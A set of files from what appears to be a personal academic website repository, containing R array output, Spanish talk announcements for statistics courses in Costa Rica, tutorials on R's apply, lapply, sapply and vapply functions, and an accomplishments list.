## hazel 178 NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , blue, grey
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 115.5
##
## , , brown
##
## feminine masculine
## black NA NA
## blue NA 234.0
## blue-gray NA NA
## brown NA 129.5
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 198.0
##
## , , brown mottle
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 180
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , brown, white
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA 216
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , dark
##
## feminine masculine
## black NA NA
## blue 184 NA
## blue-gray NA NA
## brown NA 183.3333
## dark NA NaN
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , fair
##
## feminine masculine
## black NA NA
## blue 158.5 180.8571
## blue-gray NA 182.0000
## brown 163.0 185.3333
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA 170.0000
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , fair, green, yellow
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow 168 NA
##
## , , gold
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 167
##
## , , green
##
## feminine masculine
## black NA 184.5
## blue NA NA
## blue-gray NA NA
## brown NA 66.0
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 206.0
## pink NA NA
## red NA 190.0
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 183.0
##
## , , green-tan, brown
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 175
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , green, grey
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA 193
## white NA NA
## yellow NA NA
##
## , , grey
##
## feminine masculine
## black 213 198.3333
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA 191.0000
## green, yellow NA NA
## hazel NA NA
## orange NA 224.0000
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , grey, blue
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA 79
## white NA NA
## yellow NA NA
##
## , , grey, green, yellow
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 163
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , grey, red
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 112
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , light
##
## feminine masculine
## black NA NA
## blue 165.00 176.5
## blue-gray NA NA
## brown 159.25 185.5
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NaN NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , metal
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA 200
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , mottled green
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA 191
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , none
##
## feminine masculine
## black NA NaN
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , orange
##
## feminine masculine
## black NA 188
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 196
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , pale
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA 188
## pink NA 180
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 184
##
## , , red
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 175
##
## , , red, blue, white
##
## feminine masculine
## black 178 NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , silver, red
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue 96 NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , tan
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA 187
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , unknown
##
## feminine masculine
## black NA NA
## blue NA 228
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , white
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 233
##
## , , white, blue
##
## feminine masculine
## black NA 122
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA 96
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , white, red
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA 97
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , yellow
##
## feminine masculine
## black NA NA
## blue 168 NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA</code></pre>
<file_sep>/content/es/talk/cursor201906/index.md
---
title: Programación estadística en R
event: Programa de educación continua
event_url: http://estadistica.ucr.ac.cr/index.php/es/uses/cursos
location: San José, Costa Rica
summary: Este curso se compone de dieciséis horas distribuidas en cuatro sesiones de cuatro horas cada una. El propósito del curso es proporcionar al estudiante un punto de partida para comenzar a utilizar de forma básica el lenguaje de programación R. Mediante el uso de este lenguaje el estudiante podrá leer y crear datos, manipular objetos, generar distintos tipos de visualización de datos y obtener estadísticos básicos.
abstract: "El curso está dirigido a profesionales en: Estadística, Ingeniería industrial, Economía, Tecnología de alimentos, Agronomía, Biología, Medicina y otras disciplinas que requieran de un alto componente estadístico en investigación."
# Talk start and end times.
# End time can optionally be hidden by prefixing the line with `#`.
date: "2019-07-16TT17:00:00Z"
date_end: "2019-07-19T21:00:00Z"
all_day: false
# Schedule page publish date (NOT talk date).
publishDate: "2019-07-16T17:00:00Z"
authors: []
tags: []
# Is this a featured talk? (true/false)
featured: false
image:
caption: 'Fuente: [**EEs**](https://www.http://estadistica.ucr.ac.cr/index.php/es/uses/cursos)'
focal_point: Right
links:
#- icon: twitter
# icon_pack: fab
# name: Follow
# url: https://twitter.com/georgecushen
url_code: ""
url_pdf: ""
url_slides: ""
url_video: ""
# Markdown Slides (optional).
# Associate this talk with Markdown slides.
# Simply enter your slide deck's filename without extension.
# E.g. `slides = "example-slides"` references `content/slides/example-slides.md`.
# Otherwise, set `slides = ""`.
slides: example
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects:
- internal-project
# Enable math on this page?
math: true
---
<file_sep>/content/en/post/2019-12-08-lapply_sapply_vapply.html
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "apply family functions - Part 3"
subtitle: "lapply(), sapply() and vapply() functions"
summary: "The lapply(), sapply() and vapply() functions in data analysis."
authors: ["<NAME>"]
tags: ["R", "RStudio", "apply functions", "lapply", "sapply", "vapply"]
categories: ["R basics"]
date: 2019-12-08T18:55:57-06:00
lastmod: 2019-12-08T18:55:57-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: false
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
<script src="/rmarkdown-libs/header-attrs/header-attrs.js"></script>
<p>In this new post about the apply family functions, we’ll show some examples of three new functions: <code>lapply()</code>, <code>sapply()</code>, and <code>vapply()</code>. These functions generally works with objects of class <code>list</code>; however, other variants can work with vectors.</p>
<p>Suppose now we have several databases on which we need to obtain the sum of each column. We’ll generate a simple function that returns a database of random numbers in the range $ [1,100] $ and also contains missing values, with a certain number of rows and columns.</p>
<pre class="r"><code>dat <- function(rows, columns){
values <- sample(x = c(NA,1:100),
size = rows*columns,
replace = TRUE)
as.data.frame(matrix(data = values,
nrow = rows,
ncol = columns))
}</code></pre>
<p>Thus, for example, we can generate a database with 50 rows and 5 columns by executing the following command:</p>
<pre class="r"><code>set.seed(20191208)
df1 <- dat(50, 5)</code></pre>
<p>Let’s generate more other databases of dimensions <span class="math inline">\(100\times5\)</span> and <span class="math inline">\(150\times5\)</span>.</p>
<pre class="r"><code>set.seed(20191208)
df2 <- dat(100, 5)
df3 <- dat(150, 5)</code></pre>
<p>As we saw in <a href="https://www.cesargamboasanabria.com/en/post/2019-06-23-apply/">this post</a>, we could use the <code>apply()</code> function to get the sum of the columns.</p>
<pre class="r"><code>apply(df1,2,sum)</code></pre>
<pre><code>## V1 V2 V3 V4 V5
## 2546 2602 2699 1993 2482</code></pre>
<pre class="r"><code>apply(df2,2,sum)</code></pre>
<pre><code>## V1 V2 V3 V4 V5
## 5148 4692 NA 5024 5177</code></pre>
<pre class="r"><code>apply(df3,2,sum)</code></pre>
<pre><code>## V1 V2 V3 V4 V5
## NA 7554 NA NA NA</code></pre>
<p>Or, something simpler would be to use the function <code>colSums()</code>.</p>
<pre class="r"><code>colSums(df1)</code></pre>
<pre><code>## V1 V2 V3 V4 V5
## 2546 2602 2699 1993 2482</code></pre>
<pre class="r"><code>colSums(df2)</code></pre>
<pre><code>## V1 V2 V3 V4 V5
## 5148 4692 NA 5024 5177</code></pre>
<pre class="r"><code>colSums(df3)</code></pre>
<pre><code>## V1 V2 V3 V4 V5
## NA 7554 NA NA NA</code></pre>
<p>However, we could have a large number of databases, so the above procedures are not viable since writing so many lines of code is quite dull.</p>
<p>That’s the time the lists come into play. The three databases we generate can be stored in a single list as follows.</p>
<pre class="r"><code>list1 <- list(df1, df2, df3)</code></pre>
<p>By having a list, each database becomes an element of that list. For example, element 1 is the set <em>df1</em>, while the sets <em>df2</em> and <em>df3</em> are elements 2 and three, respectively. One way to call the elements within a list is by <code>[[]]</code>, as follows we call the data set <em>df2</em>:</p>
<pre class="r"><code>list1[[2]]</code></pre>
<pre><code>## V1 V2 V3 V4 V5
## 1 35 90 35 84 79
## 2 51 36 4 100 5
## 3 76 47 65 90 36
## 4 17 22 97 72 1
## 5 95 16 8 86 65
## 6 73 31 47 52 87
## 7 37 23 64 85 13
## 8 81 62 33 82 27
## 9 59 63 79 40 45
## 10 38 25 34 9 24
## 11 92 82 53 75 80
## 12 94 51 50 35 87
## 13 44 54 10 49 71
## 14 96 23 54 62 99
## 15 73 87 8 64 16
## 16 58 94 67 41 100
## 17 92 93 78 34 59
## 18 30 64 53 49 80
## 19 14 21 94 59 86
## 20 14 9 51 42 19
## 21 55 99 12 70 54
## 22 30 34 93 76 68
## 23 19 40 85 29 51
## 24 46 83 98 41 88
## 25 48 34 100 49 37
## 26 29 34 72 11 62
## 27 39 78 68 41 20
## 28 68 62 51 68 76
## 29 92 69 37 15 95
## 30 15 25 63 72 24
## 31 72 90 4 63 35
## 32 7 34 91 95 5
## 33 62 43 1 66 57
## 34 32 69 29 87 30
## 35 96 67 21 32 13
## 36 13 71 26 96 91
## 37 58 72 30 66 5
## 38 80 45 84 45 86
## 39 84 89 83 86 2
## 40 44 78 13 6 23
## 41 24 70 63 93 1
## 42 22 65 32 85 40
## 43 32 54 79 34 88
## 44 10 12 37 31 21
## 45 48 28 9 61 75
## 46 19 95 22 71 41
## 47 60 48 4 26 30
## 48 79 34 59 80 65
## 49 25 77 61 5 95
## 50 69 7 71 75 60
## 51 33 53 100 43 19
## 52 16 82 9 98 52
## 53 53 60 35 3 77
## 54 9 31 33 61 72
## 55 42 17 64 40 80
## 56 71 87 95 31 72
## 57 79 20 11 6 67
## 58 67 55 57 55 31
## 59 82 82 5 87 93
## 60 84 34 20 22 9
## 61 38 22 92 45 24
## 62 48 75 60 5 74
## 63 44 78 78 29 66
## 64 10 70 14 37 16
## 65 12 12 93 66 19
## 66 88 29 63 94 30
## 67 77 44 34 59 96
## 68 5 46 81 11 72
## 69 79 40 73 26 99
## 70 96 24 46 94 7
## 71 46 64 12 2 30
## 72 3 38 50 89 85
## 73 86 17 14 21 37
## 74 57 37 NA 15 36
## 75 23 12 48 20 46
## 76 41 7 82 69 46
## 77 59 5 4 93 98
## 78 47 52 23 59 94
## 79 19 47 58 12 47
## 80 44 34 15 15 47
## 81 15 38 57 84 67
## 82 98 8 83 10 64
## 83 50 38 48 95 40
## 84 17 18 24 1 59
## 85 73 12 2 30 48
## 86 41 79 38 48 68
## 87 12 84 77 25 79
## 88 66 52 5 85 41
## 89 80 39 60 29 29
## 90 100 43 15 16 3
## 91 9 37 75 52 94
## 92 94 22 19 48 52
## 93 53 9 100 83 52
## 94 37 39 78 31 65
## 95 96 26 66 87 22
## 96 64 25 29 7 55
## 97 62 50 91 21 45
## 98 18 44 94 15 18
## 99 61 11 48 48 50
## 100 98 45 27 17 68</code></pre>
<p>Now, if we need to apply the <code>colSums()</code> function to each data set, we can use the <code>lapply()</code> function:</p>
<pre class="r"><code>lapply(list1, colSums)</code></pre>
<pre><code>## [[1]]
## V1 V2 V3 V4 V5
## 2546 2602 2699 1993 2482
##
## [[2]]
## V1 V2 V3 V4 V5
## 5148 4692 NA 5024 5177
##
## [[3]]
## V1 V2 V3 V4 V5
## NA 7554 NA NA NA</code></pre>
<p>The result is a list with the sum of the columns of each database. If we need to do the sums, but without counting the missing values, we have to incorporate the respective argument of the <code>colSums()</code> function.</p>
<pre class="r"><code>lapply(list1, colSums, na.rm=TRUE)</code></pre>
<pre><code>## [[1]]
## V1 V2 V3 V4 V5
## 2546 2602 2699 1993 2482
##
## [[2]]
## V1 V2 V3 V4 V5
## 5148 4692 4887 5024 5177
##
## [[3]]
## V1 V2 V3 V4 V5
## 7780 7554 7470 7826 7033</code></pre>
<p>As you can see, the <code>lapply()</code> function works with three arguments: a list -in this case, the list object-, a function that we want to apply to each element of that list -in this case, <code>colSums()</code>-, and if necessary, the arguments requested by the indicated function -in this case <code>na.rm = TRUE</code> of the <code>colSums()</code>- function.</p>
<p>The previous result returns the calculations in an object of class <code>list</code>; however, in many cases, it is desirable to obtain a more orderly format. The <code>sapply()</code> function works identically to <code>lapply()</code>, with the proviso that <strong>if the result of each item in the list has the same length</strong>, the <code>sapply()</code> function groups the result. By using the <code>lapply()</code> motion, we obtain a list of three elements, where each element is a vector of length five, that is, they all have the same length, so the <code>sapply()</code> function would return the following:</p>
<pre class="r"><code>sapply(list1, colSums)</code></pre>
<pre><code>## [,1] [,2] [,3]
## V1 2546 5148 NA
## V2 2602 4692 7554
## V3 2699 NA NA
## V4 1993 5024 NA
## V5 2482 5177 NA</code></pre>
<pre class="r"><code>sapply(list1, colSums, na.rm=TRUE)</code></pre>
<pre><code>## [,1] [,2] [,3]
## V1 2546 5148 7780
## V2 2602 4692 7554
## V3 2699 4887 7470
## V4 1993 5024 7826
## V5 2482 5177 7033</code></pre>
<p>Although the <code>sapply()</code> function seems more useful than <code>lapply()</code>, it has a small inconvenience, and it is always going to work… How can this be an inconvenience? Let’s incorporate a new data set, but this time with six columns instead of five like the previous ones.</p>
<pre class="r"><code>df4 <- dat(150, 6)
list2 <- list(df1, df2, df3, df4)</code></pre>
<p>If we use the <code>lapply()</code> function again, we would again obtain the sums by columns in the form of a list:</p>
<pre class="r"><code>lapply(list2, colSums, na.rm=TRUE)</code></pre>
<pre><code>## [[1]]
## V1 V2 V3 V4 V5
## 2546 2602 2699 1993 2482
##
## [[2]]
## V1 V2 V3 V4 V5
## 5148 4692 4887 5024 5177
##
## [[3]]
## V1 V2 V3 V4 V5
## 7780 7554 7470 7826 7033
##
## [[4]]
## V1 V2 V3 V4 V5 V6
## 8205 6712 6794 8049 7562 7335</code></pre>
<p>While if we apply the <code>sapply()</code> function:</p>
<pre class="r"><code>sapply(list2, colSums, na.rm=TRUE)</code></pre>
<pre><code>## [[1]]
## V1 V2 V3 V4 V5
## 2546 2602 2699 1993 2482
##
## [[2]]
## V1 V2 V3 V4 V5
## 5148 4692 4887 5024 5177
##
## [[3]]
## V1 V2 V3 V4 V5
## 7780 7554 7470 7826 7033
##
## [[4]]
## V1 V2 V3 V4 V5 V6
## 8205 6712 6794 8049 7562 7335</code></pre>
<p>Now we get a list, that is, the same result as with <code>sapply()</code>. The reason is that not all elements have the same length, before there were three vectors of length five, while now also a vector of length six. This fact seems to be irrelevant, since a result is still being obtained, however depending on the context that result will not always be valid.</p>
<p>Suppose that based on the analysis we are doing, we know that the sum of the columns can only return a vector of length five and that if the result is something else, it may be due to an error in one of the databases, such as additional columns. The <code>vapply()</code> function allows us, like <code>sapply()</code>, to apply a function to the elements of a list, but specifying that the expected result, in this case, is a numerical vector of length five. Let’s first make a comparison between <code>sapply()</code> and <code>vapply()</code> with the object <code>list</code>, which has three databases with five columns:</p>
<pre class="r"><code>sapply(list1, colSums, na.rm=TRUE)</code></pre>
<pre><code>## [,1] [,2] [,3]
## V1 2546 5148 7780
## V2 2602 4692 7554
## V3 2699 4887 7470
## V4 1993 5024 7826
## V5 2482 5177 7033</code></pre>
<pre class="r"><code>vapply(list1, colSums, numeric(5), na.rm=TRUE)</code></pre>
<pre><code>## [,1] [,2] [,3]
## V1 2546 5148 7780
## V2 2602 4692 7554
## V3 2699 4887 7470
## V4 1993 5024 7826
## V5 2482 5177 7033</code></pre>
<p>The results are identical. But now let’s repeat the previous example but for the object <code>list2</code>, which contains a data set with six columns.</p>
<pre class="r"><code>sapply(list2, colSums, na.rm=TRUE)</code></pre>
<pre><code>## [[1]]
## V1 V2 V3 V4 V5
## 2546 2602 2699 1993 2482
##
## [[2]]
## V1 V2 V3 V4 V5
## 5148 4692 4887 5024 5177
##
## [[3]]
## V1 V2 V3 V4 V5
## 7780 7554 7470 7826 7033
##
## [[4]]
## V1 V2 V3 V4 V5 V6
## 8205 6712 6794 8049 7562 7335</code></pre>
<p>The <code>sapply()</code> function performs the calculation, but under the assumption that the expected result is vectors of length five, this result is incorrect. The <code>vapply()</code> function helps us control this problem.</p>
<pre class="r"><code>vapply(list2, colSums, numeric(5), na.rm=TRUE)</code></pre>
<pre><code>## Error in vapply(list2, colSums, numeric(5), na.rm = TRUE): Los valores deben ser de longitud 5,
## pero el resultado FUN(X [[4]]) es la longitud 6</code></pre>
<p>When trying to execute the code, we get an error, since evaluating the function in element number four of the list returns a vector of length six and not five as expected.</p>
<p>The <code>vapply()</code> function is generally more advisable than <code>sapply()</code> because it allows you to have more control over the expected results.</p>
<file_sep>/content/en/post/2019-06-23-apply.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "Apply family functions - Part 1"
subtitle: "The apply() function"
summary: "The apply function to multidimensional data."
authors: ["<NAME>"]
tags: ["R", "RStudio", "apply family functions", "apply"]
categories: ["R basics"]
date: 2020-09-28T17:42:09-06:00
lastmod: 2020-09-28T17:42:09-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: true
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
The apply family functions belong to the R base package, they are especially useful when combining their use with functions to manipulate pieces of matrices, arrays, lists and data frames. These functions allow you to cross data in multiple ways to avoid the use of for loops that are usually computationally heavier.
The first function we will talk about in this series is the `apply ()` function, which in its simplest form of use is used to evaluate the margins (1 = rows or 2 = columns) of a matrix or an array to apply a function to them.
As a first example, we start from a matrix with three rows and three columns.
```{r}
mat <- matrix(c(2, 4, 6, 7, 8, 9, 1, 12, 21), nrow = 3, ncol = 3)
mat
```
If you wish, for example, to obtain the sum of each column, you can use the `apply ()` function as follows.
```{r}
apply(mat, 2, sum)
```
We can also calculate the average of each row.
```{r}
apply(mat, 1, mean)
```
There are also some functions already programmed in the R `base` package that quickly replicate the previous results. For example, there is the `colSums ()` function to calculate the amount of each column, and `rowMeans ()` to obtain the arithmetic mean of each row.
```{r}
colSums(mat)
rowMeans(mat)
```
The two cases shown above exemplify a basic use of the `apply ()` function, however, this function is much more powerful and is capable of working in a multidimensional way. Consider, for example, an object in two dimensions (rows and columns) similar to the one created previously, that is, an array.
```{r}
mat2 <- matrix(1:9, nrow = 3, ncol = 3)
mat2
```
The `mat2` object represents a particular case of an array, which can be created using the` array () `function.
```{r}
array(data=1:9, dim = c(3,3))
```
The `array ()` function also allows you to add tags to the rows and columns using its `dimnames` argument.
```{r}
nombres.columnas <- c("COL1","COL2","COL3")
nombres.filas <- c("FILA1","FILA2","FILA3")
arreglo <- array(data=1:9, dim = c(3,3),
dimnames = list(nombres.columnas, nombres.filas))
arreglo
```
We can add multiple dimensions to an array. For this, suppose you want to have the following sizes:
- DIM1: Numbers from 1 to 9.
- DIM2: Numbers from 1 to 9 multiplied by 10.
- DIM3: Numbers from 1 to 9 multiplied by 100.
- DIM4: Numbers from 1 to 9 increased by 1000.
One way to generate the previous arrangement is by using the following code:
```{r}
nombres.dimensiones <- c("DIM1","DIM2","DIM3","DIM4")
arreglo <- array(data = c(seq(from=1, to=9, by=1), #1 al 9
seq(from=10, to=90, by=10), #10 al 90
seq(from=100, to=900, by=100), #100 al 900
seq(from=1000, to=9000, by=1000)), #1000 al 9000
dim = c(3, 3, 4), #3 filas, 3 columnas y 4 dimensiones
dimnames = list(nombres.filas,
nombres.columnas,
nombres.dimensiones))
arreglo
```
Starting from the previous array, suppose that you want to obtain the maximum value per row from each dimension.
```{r}
apply(arreglo, c(3,1), max)
```
Or, you may want to obtain the maximum value of each column from each dimension.
```{r}
apply(arreglo, c(3,2), max)
```
The following result shows the minimum of each column in each dimension.
```{r}
apply(arreglo, c(2,3), min)
```
The previous examples can be applied to arrays with a higher dimension; for this, it is enough to have an adequate arrangement and operate on the corresponding margins with the `apply ()` function.
<file_sep>/content/es/talk/dcur/index.md
---
title: Reducción de la dimensionalidad en matrices de datos
event: Reducción de la dimensionalidad en matrices de datos
event_url: https://www.uned.ac.cr/acontecer/a-diario/gestion-universitaria/4060-realizaran-videoconferencias-de-estadistica-para-iberoamerica
location: San José, Costa Rica
summary: Expertos nacionales e internacionales impartirán un ciclo de cinco videoconferencias sobre reducción de la dimensionalidad en matrices de datos, que expondrá con casos reales las últimas técnicas estadísticas relacionadas con la reducción de la dimensionalidad en matrices de datos, así como los algoritmos y paquetes estadísticos que existen para su utilización.
abstract: "En total, el ciclo comprende cinco videoconferencias y se mantendrá activo del 26 de mayo hasta el 2 de julio, a través de la plataforma Zoom."
# Talk start and end times.
# End time can optionally be hidden by prefixing the line with `#`.
date: "2020-07-02T17:00:00Z"
date_end: "2020-07-02T19:00:00Z"
all_day: false
# Schedule page publish date (NOT talk date).
publishDate: "2020-05-24T17:00:00Z"
authors: []
tags: []
# Is this a featured talk? (true/false)
featured: false
image:
caption: 'Fuente: [**UNED**](https://www.uned.ac.cr/acontecer/a-diario/gestion-universitaria/4060-realizaran-videoconferencias-de-estadistica-para-iberoamerica)'
focal_point: Right
links:
#- icon: twitter
# icon_pack: fab
# name: Follow
# url: https://twitter.com/georgecushen
url_code: ""
url_pdf: ""
url_slides: ""
url_video: ""
# Markdown Slides (optional).
# Associate this talk with Markdown slides.
# Simply enter your slide deck's filename without extension.
# E.g. `slides = "example-slides"` references `content/slides/example-slides.md`.
# Otherwise, set `slides = ""`.
slides: example
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects:
- internal-project
# Enable math on this page?
math: true
---
<file_sep>/content/en/home/accomplishments.md
+++
# Accomplishments widget.
widget = "accomplishments" # See https://sourcethemes.com/academic/docs/page-builder/
headless = true # This file represents a page section.
active = true # Activate this widget? true/false
weight = 50 # Order that this section will appear.
title = "Reconocimientos académicos"
subtitle = ""
# Date format
# Refer to https://sourcethemes.com/academic/docs/customization/#date-format
date_format = "Jan 2006"
# Accomplishments.
# Add/remove as many `[[item]]` blocks below as you like.
# `title`, `organization` and `date_start` are the required parameters.
# Leave other parameters empty if not required.
# Begin/end multi-line descriptions with 3 quotes `"""`.
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Methods and aaplications RDS – Respondent Driven Sampling (16 hours)"
url = ""
certificate_url = ""
date_start = "2017-05-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Modern methods of tratment and imputation of missing data (12 hours)"
url = ""
certificate_url = ""
date_start = "2017-05-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Statistical programming with SQL (32 hours)"
url = ""
certificate_url = ""
date_start = "2017-06-01"
date_end = ""
description = ""
[[item]]
organization = "University of Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Geographic Information Systems applied to Statistics (21 hours)"
url = ""
certificate_url = ""
date_start = "2017-06-01"
date_end = ""
description = ""
[[item]]
organization = "B.U.A.P."
organization_url = "https://www.fcfm.buap.mx/EIEPE2017/"
title = "Exponent and assistant (40 horas) at VII E.I.E.P.E."
url = ""
certificate_url = ""
date_start = "2017-06-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "The Data Scientist’s Toolbox"
url = ""
